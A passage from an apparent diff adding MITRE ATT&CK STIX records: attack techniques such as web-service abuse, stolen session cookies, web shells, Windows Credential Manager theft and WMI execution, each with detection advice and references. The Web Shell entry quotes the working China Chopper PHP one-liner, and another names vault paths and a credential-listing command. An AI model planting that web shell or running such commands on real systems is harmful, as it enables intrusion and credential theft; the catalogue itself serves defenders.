analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1102", + "external_id": "T1102", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Web Services", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T15:45:01.956Z", + "created": "2020-10-01T00:50:29.936Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", + "description": "Adversaries may register for web services\u00a0that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1583/006", + "external_id": "T1583.006", + "source_name": "mitre-attack" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Web Services", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:01:48.047Z", + "created": "2020-10-01T01:01:00.176Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2", + "description": "Adversaries may compromise access to third-party web services\u00a0that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1584/006", + "external_id": "T1584.006", + "source_name": "mitre-attack" + }, + { + "url": "https://www.recordedfuture.com/turla-apt-infrastructure/", + "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020.", + "source_name": "Recorded Future Turla Infra 2020" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-12-17T16:57:07.529Z", + "name": "Web Session Cookie", + "created": "2019-10-08T20:08:56.205Z", + "id": "attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1506", + "external_id": "T1506", + "source_name": "mitre-attack" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + }, + { + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "source_name": "Unit 42 Mac Crypto Cookies January 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Web Session Cookie", + "x_mitre_data_sources": [ + "Web Credential: Web Credential Usage", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.3", + "modified": "2021-10-12T14:22:09.650Z", + "created": "2020-01-30T17:48:49.395Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_defense_bypassed": [ + "System Access Controls" + ], + "x_mitre_platforms": [ + "Office 365", + "SaaS", + "Google Workspace", + "IaaS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0", + "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)", + "x_mitre_contributors": [ + "Jen Burns, HubSpot", + "Johann Rehberger" + ], + "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1550/004", + "external_id": "T1550.004", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/60.html", + "external_id": "CAPEC-60", + "source_name": "capec" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + }, + { + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "source_name": "Unit 42 Mac Crypto Cookies January 2019" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-19T20:22:02.163Z", + "name": "Web Shell", + "created": "2017-05-31T21:31:13.061Z", + "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1100", + "external_id": "T1100", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/650.html", + "external_id": "CAPEC-650", + "source_name": "capec" + }, + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + }, + { + "source_name": "US-CERT Alert TA15-314A Web Shells", + "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", + "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Web Shell", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1505/003", + "external_id": "T1505.003", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/650.html", + "external_id": "CAPEC-650", + "source_name": "capec" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "source_name": "Lee 2013" + }, + { + "url": "https://github.com/nsacyber/Mitigating-Web-Shells", + "description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.", + "source_name": "NSA Cyber Mitigating Web Shells" + }, + { + "source_name": "US-CERT Alert TA15-314A Web Shells", + "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", + "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" + } + ], + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.2", + "modified": "2021-07-26T13:46:47.993Z", + "x_mitre_system_requirements": [ + "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file." + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "SYSTEM", + "User" + ], + "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (ex: [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013) ", + "x_mitre_contributors": [ + "Arnim Rupp, Deutsche Lufthansa AG" + ], + "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<?php @eval($_POST['password']);>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\n\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", + "created": "2019-12-13T16:46:18.927Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-23T19:54:12.651Z", + "name": "Windows Admin Shares", + "created": "2017-05-31T21:31:00.200Z", + "id": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1077", + "external_id": "T1077", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/561.html", + "external_id": "CAPEC-561", + "source_name": "capec" + }, + { + "source_name": "Wikipedia SMB", + "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.", + "url": "https://en.wikipedia.org/wiki/Server_Message_Block" + }, + { + "source_name": "TechNet RPC", + "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx" + }, + { + "source_name": "Microsoft Admin Shares", + "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.", + "url": "http://support.microsoft.com/kb/314984" + }, + { + "source_name": "Technet Net Use", + "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.", + "url": "https://technet.microsoft.com/bb490717.aspx" + }, + { + "source_name": "Lateral Movement Payne", + "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.", + "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts" + }, + { + "source_name": "Windows Event Forwarding Payne", + "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.", + "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem" + }, + { + "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc", + "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.", + "source_name": "Medium Detecting Lateral Movement" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-07-26T17:13:07.345Z", + "name": "Windows Command Shell", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation" + ], + "x_mitre_version": "1.2", + "created": "2020-03-09T14:12:31.196Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_remote_support": true, + "x_mitre_detection": "Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1059/003", + "external_id": "T1059.003", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh", + "description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.", + "source_name": "SSH in Windows" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Windows Credential Manager", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution", + "File: File Access" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-29T21:00:18.973Z", + "created": "2020-11-23T15:35:53.793Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)\n\nThe Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.\n\nCredential Lockers store credentials in encrypted .vcrd files, located under %Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\. The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)\n\nAdversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may gather credentials by reading files located inside of the Credential Lockers. Adversaries may also abuse Windows APIs such as CredEnumerateA to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nAdversaries may use password recovery tools to obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)", + "x_mitre_contributors": [ + "Bernaldo Penas Antelo", + "Mugdha Peter Bansode" + ], + "x_mitre_detection": "Monitor process and command-line parameters of vaultcmd.exe for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., vaultcmd /listcreds:\u201cWindows Credentials\u201d).(Citation: Malwarebytes The Windows Vault)\n\nConsider monitoring API calls such as CredEnumerateA that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)\n\nConsider monitoring file reads to Vault locations, %Systemdrive%\\Users\\\\[Username]\\AppData\\Local\\Microsoft\\\\[Vault/Credentials]\\, for suspicious activity.(Citation: Malwarebytes The Windows Vault)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1555/004", + "external_id": "T1555.004", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v=ws.11)#credential-manager-store", + "description": "Microsoft. (2016, August 31). Cached and Stored Credentials Technical Overview. Retrieved November 24, 2020.", + "source_name": "Microsoft Credential Manager store" + }, + { + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-8.1-and-8/jj554668(v=ws.11)?redirectedfrom=MSDN", + "description": "Microsoft. (2013, October 23). Credential Locker Overview. Retrieved November 24, 2020.", + "source_name": "Microsoft Credential Locker" + }, + { + "url": "https://www.passcape.com/windows_password_recovery_vault_explorer", + "description": "Passcape. (n.d.). Windows Password Recovery - Vault Explorer and Decoder. Retrieved November 24, 2020.", + "source_name": "passcape Windows Vault" + }, + { + "url": "https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ ", + "description": "Arntz, P. (2016, March 30). The Windows Vault . Retrieved November 23, 2020.", + "source_name": "Malwarebytes The Windows Vault" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-credenumeratea", + "description": "Microsoft. (2018, December 5). CredEnumarateA function (wincred.h). Retrieved November 24, 2020.", + "source_name": "Microsoft CredEnumerate" + }, + { + "url": "https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials", + "description": "Delpy, B. (2017, December 12). howto ~ credential manager saved credentials. Retrieved November 23, 2020.", + "source_name": "Delpy Mimikatz Crendential Manager" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Windows File and Directory Permissions Modification", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Active Directory: Active Directory Object Modification", + "File: File Metadata" + ], + "x_mitre_version": "1.1", + "modified": "2020-09-01T20:05:05.268Z", + "created": "2020-02-04T19:17:41.767Z", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", + "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1222/001", + "external_id": "T1222.001", + "source_name": "mitre-attack" + }, + { + "source_name": "Hybrid Analysis Icacls1 June 2018", + "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100" + }, + { + "source_name": "Hybrid Analysis Icacls2 May 2018", + "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110" + }, + { + "source_name": "Microsoft DACL May 2018", + "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists", + "description": "M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.", + "source_name": "Microsoft Access Control Lists May 2018" + }, + { + "source_name": "EventTracker File Permissions Feb 2014", + "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.", + "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Windows Management Instrumentation", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-15T23:58:07.715Z", + "created": "2017-05-31T21:30:44.329Z", + "x_mitre_remote_support": true, + "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_contributors": [ + "@ionstorm" + ], + "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1047", + "external_id": "T1047", + "source_name": "mitre-attack" + }, + { + "source_name": "MSDN WMI", + "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx" + }, + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf", + "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.", + "source_name": "FireEye WMI SANS 2015" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T14:08:23.156Z", + "name": "Windows Management Instrumentation Event Subscription", + "created": "2017-05-31T21:31:05.140Z", + "id": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1084", + "external_id": "T1084", + "source_name": "mitre-attack" + }, + { + "source_name": "Dell WMI Persistence", + "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.", + "url": "https://www.secureworks.com/blog/wmi-persistence" + }, + { + "source_name": "Kazanciyan 2014", + "description": "Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks [slides]. Retrieved November 3, 2014.", + "url": 